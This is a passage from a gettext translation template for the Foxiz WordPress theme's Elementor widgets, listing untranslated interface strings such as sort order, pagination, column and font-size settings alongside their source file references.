elementor/list-small-2.php:146 #: elementor/list-small-3.php:146 elementor/overlay-1.php:146 #: elementor/overlay-2.php:146 widgets/sb-post.php:112 msgid "Post IDs Filter" msgstr "" #: elementor/breaking-news.php:155 elementor/classic-1.php:152 #: elementor/grid-1.php:152 elementor/grid-2.php:151 #: elementor/grid-box-1.php:151 elementor/grid-box-2.php:151 #: elementor/grid-small-1.php:151 elementor/hierarchical-1.php:153 #: elementor/hierarchical-2.php:155 elementor/hierarchical-3.php:156 #: elementor/list-1.php:157 elementor/list-2.php:150 #: elementor/list-box-1.php:157 elementor/list-box-2.php:157 #: elementor/list-small-1.php:155 elementor/list-small-2.php:155 #: elementor/list-small-3.php:155 elementor/overlay-1.php:155 #: elementor/overlay-2.php:155 msgid "Sort Order" msgstr "" #: elementor/breaking-news.php:165 elementor/classic-1.php:162 #: elementor/grid-1.php:162 elementor/grid-2.php:161 #: elementor/grid-box-1.php:161 elementor/grid-box-2.php:161 #: elementor/grid-small-1.php:161 elementor/hierarchical-1.php:163 #: elementor/hierarchical-2.php:165 elementor/hierarchical-3.php:166 #: elementor/list-1.php:167 elementor/list-2.php:160 #: elementor/list-box-1.php:167 elementor/list-box-2.php:167 #: elementor/list-small-1.php:165 elementor/list-small-2.php:165 #: elementor/list-small-3.php:165 elementor/overlay-1.php:165 #: elementor/overlay-2.php:165 msgid "Number of Posts" msgstr "" #: elementor/breaking-news.php:174 elementor/classic-1.php:171 #: elementor/grid-1.php:171 elementor/grid-2.php:170 #: elementor/grid-box-1.php:170 elementor/grid-box-2.php:170 #: elementor/grid-small-1.php:170 elementor/hierarchical-1.php:172 #: elementor/hierarchical-2.php:174 elementor/hierarchical-3.php:175 #: elementor/list-1.php:176 elementor/list-2.php:169 #: elementor/list-box-1.php:176 elementor/list-box-2.php:176 #: elementor/list-small-1.php:174 elementor/list-small-2.php:174 #: elementor/list-small-3.php:174 elementor/overlay-1.php:174 #: elementor/overlay-2.php:174 widgets/sb-post.php:148 msgid "Post Offset" msgstr "" #: elementor/breaking-news.php:183 elementor/breaking-news.php:190 #: elementor/classic-1.php:285 elementor/classic-1.php:292 #: elementor/grid-1.php:285 elementor/grid-1.php:292 elementor/grid-2.php:284 #: elementor/grid-2.php:291 elementor/grid-box-1.php:284 #: elementor/grid-box-1.php:291 elementor/grid-box-2.php:284 #: elementor/grid-box-2.php:291 elementor/grid-small-1.php:284 #: elementor/grid-small-1.php:291 elementor/hierarchical-1.php:198 #: elementor/hierarchical-1.php:205 elementor/hierarchical-2.php:200 #: elementor/hierarchical-2.php:207 elementor/hierarchical-3.php:184 #: elementor/hierarchical-3.php:191 elementor/list-1.php:290 #: elementor/list-1.php:297 elementor/list-2.php:283 elementor/list-2.php:290 #: elementor/list-box-1.php:290 elementor/list-box-1.php:297 #: elementor/list-box-2.php:290 elementor/list-box-2.php:297 #: elementor/list-small-1.php:200 elementor/list-small-1.php:207 #: elementor/list-small-2.php:200 elementor/list-small-2.php:207 #: elementor/list-small-3.php:200 elementor/list-small-3.php:207 #: elementor/overlay-1.php:183 elementor/overlay-1.php:190 #: elementor/overlay-2.php:288 elementor/overlay-2.php:295 msgid "Unique Post" msgstr "" #: elementor/breaking-news.php:200 elementor/newsletter-1.php:57 #: elementor/newsletter-2.php:57 elementor/newsletter-3.php:58 msgid "Heading" msgstr "" #: elementor/breaking-news.php:208 msgid "This layout is best suited for all sections." msgstr "" #: elementor/breaking-news.php:214 elementor/quick-links.php:54 msgid "Heading Label" msgstr "" #: elementor/breaking-news.php:216 msgid "input a heading label for this block." msgstr "" #: elementor/breaking-news.php:217 msgid "Hot News" msgstr "" #: elementor/breaking-news.php:223 elementor/classic-1.php:460 #: elementor/grid-1.php:460 elementor/grid-2.php:459 #: elementor/grid-box-1.php:459 elementor/grid-box-2.php:459 #: elementor/grid-small-1.php:468 elementor/hierarchical-1.php:371 #: elementor/hierarchical-2.php:343 elementor/hierarchical-3.php:358 #: elementor/list-1.php:494 elementor/list-2.php:478 #: elementor/list-box-1.php:493 elementor/list-box-2.php:493 #: elementor/list-small-1.php:325 elementor/list-small-2.php:375 #: elementor/list-small-3.php:365 elementor/overlay-1.php:340 #: elementor/overlay-2.php:444 elementor/social-follower.php:245 msgid "Custom Font Size" msgstr "" #: elementor/breaking-news.php:229 msgid "Post Title Font Size" msgstr "" #: elementor/breaking-news.php:238 msgid "Label Size" msgstr "" #: elementor/breaking-news.php:240 msgid "Input a custom font size for the label" msgstr "" #: elementor/breaking-news.php:248 msgid "Slider Settings" msgstr "" #: elementor/breaking-news.php:255 elementor/grid-1.php:909 #: elementor/grid-2.php:907 elementor/grid-box-1.php:951 #: elementor/grid-box-2.php:951 elementor/grid-small-1.php:916 #: elementor/list-small-2.php:832 elementor/list-small-3.php:787 #: elementor/overlay-1.php:705 elementor/overlay-2.php:848 msgid "Auto Play Next Slides" msgstr "" #: elementor/breaking-news.php:265 elementor/grid-1.php:919 #: elementor/grid-2.php:917 elementor/grid-box-1.php:961 #: elementor/grid-box-2.php:961 elementor/grid-small-1.php:926 #: elementor/list-small-2.php:842 elementor/list-small-3.php:797 #: elementor/overlay-1.php:715 elementor/overlay-2.php:858 msgid "Auto Play Speed" msgstr "" #: elementor/breaking-news.php:317 elementor/classic-1.php:617 #: elementor/grid-1.php:654 elementor/grid-2.php:653 #: elementor/grid-box-1.php:653 elementor/grid-box-2.php:653 #: elementor/grid-small-1.php:662 elementor/hierarchical-1.php:537 #: elementor/hierarchical-2.php:491 elementor/hierarchical-3.php:496 #: elementor/list-1.php:651 elementor/list-2.php:635 #: elementor/list-box-1.php:650 elementor/list-box-2.php:650 #: elementor/list-small-1.php:501 elementor/list-small-2.php:569 #: elementor/list-small-3.php:541 elementor/overlay-1.php:506 #: elementor/overlay-2.php:610 msgid "Post Title Font" msgstr "" #: elementor/breaking-news.php:325 msgid "Heading Label Font" msgstr "" #: elementor/categories-1.php:27 msgid "Foxiz - Category List 1" msgstr "" #: elementor/categories-1.php:44 elementor/categories-2.php:44 #: elementor/categories-3.php:44 elementor/categories-4.php:44 #: elementor/categories-5.php:44 msgid "Categories" msgstr "" #: elementor/categories-1.php:52 elementor/categories-2.php:52 #: elementor/categories-3.php:52 elementor/categories-4.php:52 #: elementor/categories-5.php:52 msgid "" "To set featured images for each category, navigate to \"Posts > Categories > " "Edit > Featured Images\"." msgstr "" #: elementor/categories-1.php:60 elementor/categories-2.php:60 #: elementor/categories-3.php:60 elementor/categories-4.php:60 #: elementor/categories-5.php:60 msgid "Select a Category" msgstr "" #: elementor/categories-1.php:62 elementor/categories-2.php:62 #: elementor/categories-3.php:62 elementor/categories-4.php:62 #: elementor/categories-5.php:62 msgid "- Select a category -" msgstr "" #: elementor/categories-1.php:69 elementor/categories-2.php:69 #: elementor/categories-3.php:69 elementor/categories-4.php:69 #: elementor/categories-5.php:69 msgid "Add Categories" msgstr "" #: elementor/categories-1.php:86 elementor/categories-2.php:86 #: elementor/categories-3.php:86 elementor/categories-4.php:86 #: elementor/categories-5.php:86 elementor/classic-1.php:302 #: elementor/covid-data.php:71 elementor/grid-1.php:302 #: elementor/grid-2.php:301 elementor/grid-box-1.php:301 #: elementor/grid-box-2.php:301 elementor/grid-small-1.php:301 #: elementor/hierarchical-1.php:215 elementor/hierarchical-2.php:217 #: elementor/hierarchical-3.php:201 elementor/list-1.php:307 #: elementor/list-2.php:300 elementor/list-box-1.php:307 #: elementor/list-box-2.php:307 elementor/list-small-1.php:217 #: elementor/list-small-2.php:217 elementor/list-small-3.php:217 #: elementor/newsletter-1.php:103 elementor/newsletter-2.php:103 #: elementor/newsletter-3.php:104 elementor/overlay-1.php:201 #: elementor/overlay-2.php:305 elementor/videos.php:116 msgid "Block Design" msgstr "" #: elementor/categories-1.php:93 elementor/categories-2.php:93 #: elementor/categories-3.php:93 elementor/categories-4.php:93 #: elementor/categories-5.php:93 elementor/classic-1.php:309 #: elementor/grid-1.php:309 elementor/grid-2.php:308 #: elementor/grid-box-1.php:308 elementor/grid-box-2.php:308 #: elementor/grid-small-1.php:308 elementor/hierarchical-1.php:230 #: elementor/hierarchical-3.php:216 elementor/list-1.php:322 #: elementor/list-2.php:307 elementor/list-box-1.php:322 #: elementor/list-box-2.php:322 elementor/list-small-2.php:224 #: elementor/list-small-3.php:224 elementor/overlay-1.php:208 #: elementor/overlay-2.php:312 msgid "Featured Image Size" msgstr "" #: elementor/categories-1.php:102 elementor/categories-2.php:102 #: elementor/categories-3.php:102 elementor/categories-4.php:102 #: elementor/classic-1.php:318 elementor/grid-1.php:318 #: elementor/grid-2.php:317 elementor/grid-box-1.php:317 #: elementor/grid-box-2.php:317 elementor/grid-small-1.php:317 #: elementor/hierarchical-1.php:239 elementor/hierarchical-3.php:225 #: elementor/list-1.php:331 elementor/list-2.php:316 #: elementor/list-box-1.php:331 elementor/list-box-2.php:331 #: elementor/list-small-2.php:233 elementor/overlay-1.php:217 #: elementor/overlay-2.php:321 msgid "Custom Featured Ratio" msgstr "" #: elementor/categories-1.php:113 elementor/categories-2.php:113 #: elementor/categories-3.php:113 elementor/categories-4.php:113 #: elementor/categories-5.php:112 elementor/classic-1.php:450 #: elementor/grid-1.php:450 elementor/grid-2.php:449 #: elementor/grid-box-1.php:449 elementor/grid-box-2.php:449 #: elementor/grid-small-1.php:458 elementor/hierarchical-1.php:351 #: elementor/hierarchical-2.php:323 elementor/hierarchical-3.php:338 #: elementor/list-1.php:483 elementor/list-2.php:468 #: elementor/list-box-1.php:483 elementor/list-box-2.php:483 #: elementor/list-small-1.php:315 elementor/list-small-2.php:365 #: elementor/list-small-3.php:355 elementor/newsletter-1.php:128 #: elementor/newsletter-2.php:137 elementor/newsletter-3.php:111 #: elementor/overlay-1.php:330 elementor/overlay-2.php:434 msgid "Title HTML Tag" msgstr "" #: elementor/categories-1.php:132 elementor/categories-2.php:132 #: elementor/categories-3.php:142 elementor/categories-4.php:132 #: elementor/categories-5.php:131 msgid "Count Posts" msgstr "" #: elementor/categories-1.php:134 elementor/categories-2.php:134 #: elementor/categories-3.php:144 elementor/categories-4.php:134 #: elementor/categories-5.php:133 msgid "Enable or disable total posts information of each category." msgstr "" #: elementor/categories-1.php:142 elementor/categories-2.php:142 #: elementor/categories-3.php:152 elementor/categories-4.php:142 #: elementor/categories-5.php:141 msgid "Follow Button" msgstr "" #: elementor/categories-1.php:145 elementor/categories-2.php:145 #: elementor/categories-3.php:155 elementor/categories-4.php:145 #: elementor/categories-5.php:144 msgid "Enable or disable follow button." msgstr "" #: elementor/categories-1.php:152 elementor/categories-2.php:162 #: elementor/categories-3.php:172 elementor/categories-4.php:152 #: elementor/classic-1.php:556 elementor/grid-1.php:593 #: elementor/grid-2.php:592 elementor/grid-box-1.php:592 #: elementor/grid-box-2.php:592 elementor/grid-small-1.php:601 #: elementor/hierarchical-1.php:476 elementor/hierarchical-3.php:463 #: elementor/list-1.php:590 elementor/list-2.php:574 #: elementor/list-box-1.php:589 elementor/list-box-2.php:589 #: elementor/list-small-2.php:508 elementor/overlay-1.php:473 #: elementor/overlay-2.php:577 msgid "Rounded Corner" msgstr "" #: elementor/categories-1.php:159 elementor/categories-2.php:169 #: elementor/categories-3.php:179 elementor/categories-4.php:159 #: elementor/classic-1.php:563 elementor/grid-1.php:600 #: elementor/grid-2.php:599 elementor/grid-box-1.php:599 #: elementor/grid-box-2.php:599 elementor/grid-small-1.php:608 #: elementor/hierarchical-1.php:483 elementor/hierarchical-3.php:470 #: elementor/list-1.php:597 elementor/list-2.php:581 #: elementor/list-box-1.php:596 elementor/list-box-2.php:596 #: elementor/list-small-2.php:515 elementor/overlay-1.php:480 #: elementor/overlay-2.php:584 msgid "Border Radius" msgstr "" #: elementor/categories-1.php:214 elementor/categories-2.php:195 #: elementor/categories-3.php:205 elementor/categories-4.php:185 #: elementor/categories-5.php:195 msgid "Category Name Font" msgstr "" #: elementor/categories-1.php:222 elementor/categories-2.php:203 #: elementor/categories-3.php:213 elementor/categories-4.php:193 #: elementor/categories-5.php:203 msgid "Count Posts Font" msgstr "" #: elementor/categories-1.php:230 elementor/categories-2.php:211 #: elementor/categories-3.php:229 elementor/categories-4.php:201 #: elementor/categories-5.php:211 elementor/classic-1.php:633 #: elementor/grid-1.php:670 elementor/grid-2.php:669 #: elementor/grid-box-1.php:669 elementor/grid-box-2.php:669 #: elementor/grid-small-1.php:678 elementor/list-1.php:667 #: elementor/list-2.php:651 elementor/list-box-1.php:666 #: elementor/list-box-2.php:666 elementor/list-small-1.php:517 #: elementor/list-small-2.php:585 elementor/list-small-3.php:557 #: elementor/overlay-1.php:522 elementor/overlay-2.php:626 #: elementor/social-follower.php:315 msgid "Column Settings" msgstr "" #: elementor/categories-1.php:237 elementor/categories-2.php:218 #: elementor/categories-3.php:236 elementor/categories-4.php:208 #: elementor/categories-5.php:218 elementor/classic-1.php:648 #: elementor/grid-1.php:685 elementor/grid-2.php:684 #: elementor/grid-box-1.php:684 elementor/grid-box-2.php:684 #: elementor/grid-small-1.php:693 elementor/list-1.php:674 #: elementor/list-2.php:666 elementor/list-box-1.php:673 #: elementor/list-box-2.php:673 elementor/list-small-1.php:532 #: elementor/list-small-2.php:600 elementor/list-small-3.php:572 #: elementor/overlay-1.php:537 elementor/overlay-2.php:641 msgid "Columns on Desktop" msgstr "" #: elementor/categories-1.php:247 elementor/categories-2.php:228 #: elementor/categories-3.php:246 elementor/categories-4.php:218 #: elementor/categories-5.php:228 elementor/classic-1.php:658 #: elementor/grid-1.php:695 elementor/grid-2.php:694 #: elementor/grid-box-1.php:694 elementor/grid-box-2.php:694 #: elementor/grid-small-1.php:703 elementor/list-1.php:684 #: elementor/list-2.php:676 elementor/list-box-1.php:683 #: elementor/list-box-2.php:683 elementor/list-small-1.php:542 #: elementor/list-small-2.php:610 elementor/list-small-3.php:582 #: elementor/overlay-1.php:547 elementor/overlay-2.php:651 msgid "Columns on Tablet" msgstr "" #: elementor/categories-1.php:257 elementor/categories-2.php:238 #: elementor/categories-3.php:256 elementor/categories-4.php:228 #: elementor/categories-5.php:238 elementor/classic-1.php:668 #: elementor/grid-1.php:705 elementor/grid-2.php:704 #: elementor/grid-box-1.php:704 elementor/grid-box-2.php:704 #: elementor/grid-small-1.php:713 elementor/list-1.php:694 #: elementor/list-2.php:686 elementor/list-box-1.php:693 #: elementor/list-box-2.php:693 elementor/list-small-1.php:552 #: elementor/list-small-2.php:620 elementor/list-small-3.php:592 #: elementor/overlay-1.php:557 elementor/overlay-2.php:661 msgid "Columns on Mobile" msgstr "" #: elementor/categories-1.php:267 elementor/categories-2.php:248 #: elementor/categories-3.php:266 elementor/categories-4.php:238 #: elementor/categories-5.php:248 elementor/classic-1.php:678 #: elementor/grid-1.php:715 elementor/grid-2.php:714 #: elementor/grid-box-1.php:714 elementor/grid-box-2.php:714 #: elementor/grid-small-1.php:723 elementor/list-1.php:704 #: elementor/list-2.php:696 elementor/list-box-1.php:703 #: elementor/list-box-2.php:703 elementor/list-small-1.php:562 #: elementor/list-small-2.php:630 elementor/list-small-3.php:602 #: elementor/overlay-1.php:567 elementor/overlay-2.php:671 msgid "Columns Gap" msgstr "" #: elementor/categories-1.php:276 elementor/categories-2.php:257 #: elementor/categories-3.php:275 elementor/categories-4.php:247 #: elementor/categories-5.php:257 elementor/classic-1.php:687 #: elementor/grid-1.php:724 elementor/grid-2.php:723 #: elementor/grid-box-1.php:723 elementor/grid-box-2.php:723 #: elementor/grid-small-1.php:732 elementor/list-1.php:713 #: elementor/list-2.php:705 elementor/list-box-1.php:712 #: elementor/list-box-2.php:712 elementor/list-small-1.php:571 #: elementor/list-small-2.php:639 elementor/list-small-3.php:611 #: elementor/overlay-1.php:576 elementor/overlay-2.php:680 msgid "1/2 Custom Gap Value" msgstr "" #: elementor/categories-1.php:289 elementor/categories-2.php:270 #: elementor/categories-3.php:288 elementor/categories-4.php:260 #: elementor/categories-5.php:270 elementor/classic-1.php:749 #: elementor/grid-1.php:778 elementor/grid-2.php:776 #: elementor/grid-box-1.php:820 elementor/grid-box-2.php:776 #: elementor/grid-small-1.php:785 elementor/list-1.php:775 #: elementor/list-2.php:767 elementor/list-box-1.php:818 #: elementor/list-box-2.php:818 elementor/list-small-1.php:653 #: elementor/list-small-2.php:701 elementor/list-small-3.php:673 #: elementor/overlay-1.php:589 elementor/overlay-2.php:693 msgid "Column Border" msgstr "" #: elementor/categories-1.php:305 elementor/categories-2.php:286 #: elementor/categories-3.php:304 elementor/categories-4.php:276 #: elementor/categories-5.php:286 elementor/classic-1.php:715 #: elementor/grid-1.php:753 elementor/grid-2.php:751 #: elementor/grid-box-1.php:795 elementor/grid-box-2.php:751 #: elementor/grid-small-1.php:760 elementor/hierarchical-1.php:576 #: elementor/hierarchical-2.php:530 elementor/hierarchical-3.php:535 #: elementor/list-1.php:741 elementor/list-2.php:733 #: elementor/list-box-1.php:784 elementor/list-box-2.php:784 #: elementor/list-small-1.php:628 elementor/list-small-2.php:667 #: elementor/list-small-3.php:639 elementor/overlay-1.php:614 #: elementor/overlay-2.php:718 msgid "Custom Bottom Margin" msgstr "" #: elementor/categories-1.php:307 elementor/categories-2.php:288 #: elementor/categories-3.php:306 elementor/categories-4.php:278 #: elementor/categories-5.php:288 msgid "Input custom bottom margin values (px) between category items." msgstr "" #: elementor/categories-2.php:27 msgid "Foxiz - Category List 2" msgstr "" #: elementor/categories-2.php:152 elementor/categories-3.php:162 msgid "Colorful Gradient" msgstr "" #: elementor/categories-2.php:154 elementor/categories-3.php:164 msgid "Enable or disable overlay color gradient style for this block." msgstr "" #: elementor/categories-3.php:27 msgid "Foxiz - Category List 3" msgstr "" #: elementor/categories-3.php:132 msgid "Category Description" msgstr "" #: elementor/categories-3.php:135 msgid "Enable or disable the category description." msgstr "" #: elementor/categories-4.php:27 msgid "Foxiz - Category List 4" msgstr "" #: elementor/categories-5.php:27 msgid "Foxiz - Category List 5" msgstr "" #: elementor/categories-5.php:102 msgid "Max Featured Width" msgstr "" #: elementor/categories-5.php:104 msgid "Input a max width value for the featured image." msgstr "" #: elementor/classic-1.php:22 msgid "Foxiz - Classic (Standard)" msgstr "" #: elementor/classic-1.php:181 elementor/grid-1.php:181 #: elementor/grid-2.php:180 elementor/grid-box-1.php:180 #: elementor/grid-box-2.php:180 elementor/grid-small-1.php:180 #: elementor/list-1.php:186 elementor/list-2.php:179 #: elementor/list-box-1.php:186 elementor/list-box-2.php:186 #: elementor/overlay-2.php:184 msgid "Archive Builder - Global Query" msgstr "" #: elementor/classic-1.php:244 elementor/grid-1.php:244 #: elementor/grid-2.php:243 elementor/grid-box-1.php:243 #: elementor/grid-box-2.php:243 elementor/grid-small-1.php:243 #: elementor/list-1.php:249 elementor/list-2.php:242 #: elementor/list-box-1.php:249 elementor/list-box-2.php:249 #: elementor/overlay-2.php:247 msgid "Query Mode" msgstr "" #: elementor/classic-1.php:248 elementor/grid-1.php:248 #: elementor/grid-2.php:247 elementor/grid-box-1.php:247 #: elementor/grid-box-2.php:247 elementor/grid-small-1.php:247 #: elementor/list-1.php:253 elementor/list-2.php:246 #: elementor/list-box-1.php:253 elementor/list-box-2.php:253 #: elementor/overlay-2.php:251 msgid "Use Custom Query (default)" msgstr "" #: elementor/classic-1.php:249 elementor/grid-1.php:249 #: elementor/grid-2.php:248 elementor/grid-box-1.php:248 #: elementor/grid-box-2.php:248 elementor/grid-small-1.php:248 #: elementor/list-1.php:254 elementor/list-2.php:247 #: elementor/list-box-1.php:254 elementor/list-box-2.php:254 #: elementor/overlay-2.php:252 msgid "Use WP Global Query" msgstr "" #: elementor/classic-1.php:257 elementor/grid-1.php:257 #: elementor/grid-2.php:256 elementor/grid-box-1.php:256 #: elementor/grid-box-2.php:256 elementor/grid-small-1.php:256 #: elementor/list-1.php:262 elementor/list-2.php:255 #: elementor/list-box-1.php:262 elementor/list-box-2.php:262 #: elementor/overlay-2.php:260 msgid "WP Global Query Pagination" msgstr "" #: elementor/classic-1.php:268 elementor/grid-1.php:268 #: elementor/grid-2.php:267 elementor/grid-box-1.php:267 #: elementor/grid-box-2.php:267 elementor/grid-small-1.php:267 #: elementor/hierarchical-1.php:181 elementor/hierarchical-2.php:183 #: elementor/list-1.php:273 elementor/list-2.php:266 #: elementor/list-box-1.php:273 elementor/list-box-2.php:273 #: elementor/list-small-1.php:183 elementor/list-small-2.php:183 #: elementor/list-small-3.php:183 elementor/overlay-2.php:271 msgid "Ajax Pagination" msgstr "" #: elementor/classic-1.php:275 elementor/grid-1.php:275 #: elementor/grid-2.php:274 elementor/grid-box-1.php:274 #: elementor/grid-box-2.php:274 elementor/grid-small-1.php:274 #: elementor/hierarchical-1.php:188 elementor/hierarchical-2.php:190 #: elementor/list-1.php:280 elementor/list-2.php:273 #: elementor/list-box-1.php:280 elementor/list-box-2.php:280 #: elementor/list-small-1.php:190 elementor/list-small-2.php:190 #: elementor/list-small-3.php:190 elementor/overlay-2.php:278 msgid "Pagination Type" msgstr "" #: elementor/classic-1.php:329 elementor/grid-1.php:329 #: elementor/grid-2.php:328 elementor/grid-box-1.php:328 #: elementor/grid-box-2.php:328 elementor/grid-small-1.php:337 #: elementor/hierarchical-1.php:250 elementor/hierarchical-2.php:232 #: elementor/hierarchical-3.php:237 elementor/list-1.php:362 #: elementor/list-2.php:347 elementor/list-box-1.php:362 #: elementor/list-box-2.php:362 elementor/list-small-1.php:224 #: elementor/list-small-2.php:264 elementor/list-small-3.php:254 #: elementor/overlay-1.php:229 elementor/overlay-2.php:333 msgid "Entry Category" msgstr "" #: elementor/classic-1.php:339 elementor/grid-1.php:339 #: elementor/grid-2.php:338 elementor/grid-box-1.php:338 #: elementor/grid-box-2.php:338 elementor/grid-small-1.php:347 #: elementor/list-1.php:372 elementor/list-2.php:357 #: elementor/list-box-1.php:372 elementor/list-box-2.php:372 msgid "Entry Meta" msgstr "" #: elementor/classic-1.php:349 elementor/grid-1.php:349 #: elementor/grid-2.php:348 elementor/grid-box-1.php:348 #: elementor/grid-box-2.php:348 elementor/grid-small-1.php:357 #: elementor/hierarchical-1.php:260 elementor/hierarchical-2.php:242 #: elementor/hierarchical-3.php:247 elementor/list-1.php:382 #: elementor/list-2.php:367 elementor/list-box-1.php:382 #: elementor/list-box-2.php:382 elementor/list-small-1.php:234 #: elementor/list-small-2.php:274 elementor/list-small-3.php:264 #: elementor/overlay-1.php:239 elementor/overlay-2.php:343 #: widgets/sb-post.php:155 msgid "Entry Meta Tags" msgstr "" #: elementor/classic-1.php:361 elementor/grid-1.php:361 #: elementor/grid-2.php:360 elementor/grid-box-1.php:360 #: elementor/grid-box-2.php:360 elementor/grid-small-1.php:369 #: elementor/hierarchical-1.php:282 elementor/hierarchical-2.php:254 #: elementor/hierarchical-3.php:269 elementor/list-1.php:394 #: elementor/list-2.php:389 elementor/list-box-1.php:394 #: elementor/list-box-2.php:394 elementor/list-small-1.php:246 #: elementor/list-small-2.php:296 elementor/list-small-3.php:286 #: elementor/overlay-1.php:261 elementor/overlay-2.php:365 msgid "Review Meta" msgstr "" #: elementor/classic-1.php:371 elementor/grid-1.php:371 #: elementor/grid-2.php:370 elementor/grid-box-1.php:370 #: elementor/grid-box-2.php:370 elementor/grid-small-1.php:379 #: elementor/hierarchical-1.php:292 elementor/hierarchical-2.php:264 #: elementor/hierarchical-3.php:279 elementor/list-1.php:404 #: elementor/list-2.php:399 elementor/list-box-1.php:404 #: elementor/list-box-2.php:404 elementor/list-small-1.php:256 #: elementor/list-small-2.php:306 elementor/list-small-3.php:296 #: elementor/overlay-1.php:271 elementor/overlay-2.php:375 msgid "Review Meta Description" msgstr "" #: elementor/classic-1.php:381 elementor/grid-1.php:381 #: elementor/grid-2.php:380 elementor/grid-box-1.php:380 #: elementor/grid-box-2.php:380 elementor/grid-small-1.php:389 #: elementor/hierarchical-1.php:272 elementor/hierarchical-3.php:259 #: elementor/list-1.php:414 elementor/list-2.php:379 #: elementor/list-box-1.php:414 elementor/list-box-2.php:414 #: elementor/list-small-2.php:286 elementor/list-small-3.php:276 #: elementor/overlay-1.php:251 elementor/overlay-2.php:355 msgid "Post Format Icon" msgstr "" #: elementor/classic-1.php:391 elementor/grid-1.php:391 #: elementor/grid-2.php:390 elementor/grid-box-1.php:390 #: elementor/grid-box-2.php:390 elementor/grid-small-1.php:399 #: elementor/hierarchical-1.php:302 elementor/hierarchical-2.php:274 #: elementor/hierarchical-3.php:289 elementor/list-1.php:424 #: elementor/list-2.php:409 elementor/list-box-1.php:424 #: elementor/list-box-2.php:424 elementor/list-small-1.php:266 #: elementor/list-small-2.php:316 elementor/list-small-3.php:306 #: elementor/overlay-1.php:281 elementor/overlay-2.php:385 msgid "Bookmark Icon" msgstr "" #: elementor/classic-1.php:401 elementor/grid-1.php:401 #: elementor/grid-2.php:400 elementor/grid-box-1.php:400 #: elementor/grid-box-2.php:400 elementor/grid-small-1.php:409 #: elementor/list-1.php:434 elementor/list-2.php:419 #: elementor/list-box-1.php:434 elementor/list-box-2.php:434 msgid "Excerpt" msgstr "" #: elementor/classic-1.php:411 elementor/grid-1.php:411 #: elementor/grid-2.php:410 elementor/grid-box-1.php:410 #: elementor/grid-box-2.php:410 elementor/grid-small-1.php:419 #: elementor/hierarchical-1.php:312 elementor/hierarchical-2.php:284 #: elementor/hierarchical-3.php:299 elementor/list-1.php:444 #: elementor/list-2.php:429 elementor/list-box-1.php:444 #: elementor/list-box-2.php:444 elementor/list-small-1.php:276 #: elementor/list-small-2.php:326 elementor/list-small-3.php:316 #: elementor/overlay-1.php:291 elementor/overlay-2.php:395 msgid "Excerpt - Max Length" msgstr "" #: elementor/classic-1.php:420 elementor/grid-1.php:420 #: elementor/grid-2.php:419 elementor/grid-box-1.php:419 #: elementor/grid-box-2.php:419 elementor/grid-small-1.php:428 #: elementor/hierarchical-1.php:321 elementor/hierarchical-2.php:293 #: elementor/hierarchical-3.php:308 elementor/list-1.php:453 #: elementor/list-2.php:438 elementor/list-box-1.php:453 #: elementor/list-box-2.php:453 elementor/list-small-1.php:285 #: elementor/list-small-2.php:335 elementor/list-small-3.php:325 #: elementor/overlay-1.php:300 elementor/overlay-2.php:404 msgid "Excerpt - Source" msgstr "" #: elementor/classic-1.php:430 elementor/grid-1.php:430 #: elementor/grid-2.php:429 elementor/grid-box-1.php:429 #: elementor/grid-box-2.php:429 elementor/grid-small-1.php:438 #: elementor/hierarchical-1.php:331 elementor/hierarchical-2.php:303 #: elementor/hierarchical-3.php:318 elementor/list-1.php:463 #: elementor/list-2.php:448 elementor/list-box-1.php:463 #: elementor/list-box-2.php:463 elementor/list-small-1.php:295 #: elementor/list-small-2.php:345 elementor/list-small-3.php:335 #: elementor/overlay-1.php:310 elementor/overlay-2.php:414 msgid "Read More Button" msgstr "" #: elementor/classic-1.php:440 elementor/grid-1.php:440 #: elementor/grid-2.php:439 elementor/grid-box-1.php:439 #: elementor/grid-box-2.php:439 elementor/grid-small-1.php:448 #: elementor/hierarchical-1.php:341 elementor/hierarchical-2.php:313 #: elementor/hierarchical-3.php:328 elementor/list-1.php:473 #: elementor/list-2.php:458 elementor/list-box-1.php:473 #: elementor/list-box-2.php:473 elementor/list-small-1.php:305 #: elementor/list-small-2.php:355 elementor/list-small-3.php:345 #: elementor/overlay-1.php:320 elementor/overlay-2.php:424 msgid "Sponsored Meta" msgstr "" #: elementor/classic-1.php:466 elementor/grid-1.php:466 #: elementor/grid-2.php:465 elementor/grid-box-1.php:465 #: elementor/grid-box-2.php:465 elementor/grid-small-1.php:474 #: elementor/hierarchical-1.php:377 elementor/hierarchical-2.php:349 #: elementor/hierarchical-3.php:364 elementor/list-1.php:500 #: elementor/list-2.php:484 elementor/list-box-1.php:499 #: elementor/list-box-2.php:499 elementor/list-small-1.php:331 #: elementor/list-small-2.php:381 elementor/list-small-3.php:371 #: elementor/overlay-1.php:346 elementor/overlay-2.php:450 msgid "Entry Category Size" msgstr "" #: elementor/classic-1.php:484 elementor/grid-1.php:484 #: elementor/grid-2.php:483 elementor/grid-box-1.php:483 #: elementor/grid-box-2.php:483 elementor/grid-small-1.php:492 #: elementor/hierarchical-1.php:404 elementor/hierarchical-2.php:376 #: elementor/hierarchical-3.php:391 elementor/list-1.php:518 #: elementor/list-2.php:502 elementor/list-box-1.php:517 #: elementor/list-box-2.php:517 elementor/list-small-1.php:349 #: elementor/list-small-2.php:399 elementor/list-small-3.php:389 #: elementor/overlay-1.php:364 elementor/overlay-2.php:468 msgid "Entry Format Size" msgstr "" #: elementor/classic-1.php:493 elementor/grid-1.php:493 #: elementor/grid-2.php:492 elementor/grid-box-1.php:492 #: elementor/grid-box-2.php:492 elementor/grid-small-1.php:501 #: elementor/hierarchical-1.php:413 elementor/hierarchical-2.php:385 #: elementor/hierarchical-3.php:400 elementor/list-1.php:527 #: elementor/list-2.php:511 elementor/list-box-1.php:526 #: elementor/list-box-2.php:526 elementor/list-small-1.php:358 #: elementor/list-small-2.php:408 elementor/list-small-3.php:398 #: elementor/overlay-1.php:373 elementor/overlay-2.php:477 msgid "Entry Excerpt Size" msgstr "" #: elementor/classic-1.php:503 elementor/grid-1.php:503 #: elementor/grid-2.php:502 elementor/grid-box-1.php:502 #: elementor/grid-box-2.php:502 elementor/grid-small-1.php:511 #: elementor/hierarchical-1.php:423 elementor/hierarchical-2.php:395 #: elementor/hierarchical-3.php:410 elementor/list-1.php:537 #: elementor/list-2.php:521 elementor/list-box-1.php:536 #: elementor/list-box-2.php:536 elementor/list-small-1.php:368 #: elementor/list-small-2.php:418 elementor/list-small-3.php:408 #: elementor/overlay-1.php:383 elementor/overlay-2.php:487 msgid "Responsive - Hide Elements" msgstr "" #: elementor/classic-1.php:510 elementor/grid-1.php:510 #: elementor/grid-2.php:509 